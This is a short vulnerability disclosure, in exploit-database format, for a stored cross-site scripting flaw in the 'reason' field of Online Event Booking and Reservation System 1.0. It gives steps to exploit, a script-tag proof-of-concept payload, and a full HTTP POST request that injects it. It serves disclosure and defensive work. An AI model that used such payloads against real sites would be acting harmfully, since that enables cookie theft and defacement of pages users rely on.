Online Event Booking And Reservation System 1.0 Cross Site Scripting

2021.10.27
Credit: Alon Leviev
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-79

# Exploit Title: Online Event Booking and Reservation System 1.0 - 'reason' Stored Cross-Site Scripting (XSS) # Exploit Author: Alon Leviev # Date: 22-10-2021 # Category: Web application # Vendor Homepage: https://www.sourcecodester.com/php/14241/online-event-booking-and-reservation-system-phpmysql.html # Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/event-management.zip # Version: 1.0 # Tested on: Linux # Vulnerable page: HOLY # Vulnerable Parameters: "reason" Technical description: A stored XSS vulnerability exists in the Event management software. An attacker can leverage this vulnerability in order to run javascript on the web server surfers behalf, which can lead to cookie stealing, defacement and more. Steps to exploit: 1) Navigate to http://localhost/event-management/views/?v=HOLY 2) Insert your payload in the "reason" parameter 3) Click "Add holiday" Proof of concept (Poc): The following payload will allow you to run the javascript - <script>alert("This is an XSS")</script> --- POST /event-management/api/process.php?cmd=holiday HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 81 Origin: http://localhost Connection: close Referer: http://localhost/event-management/views/?v=HOLY&msg=Holiday+record+successfully+deleted. Cookie: PHPSESSID=3ptqlolbrddvef5a0k8ufb28c9 Upgrade-Insecure-Requests: 1 date=2021-12-21&reason=%3Cscript%3Ealert%28%22This+is+an+xss%22%29%3C%2Fscript%3E ---


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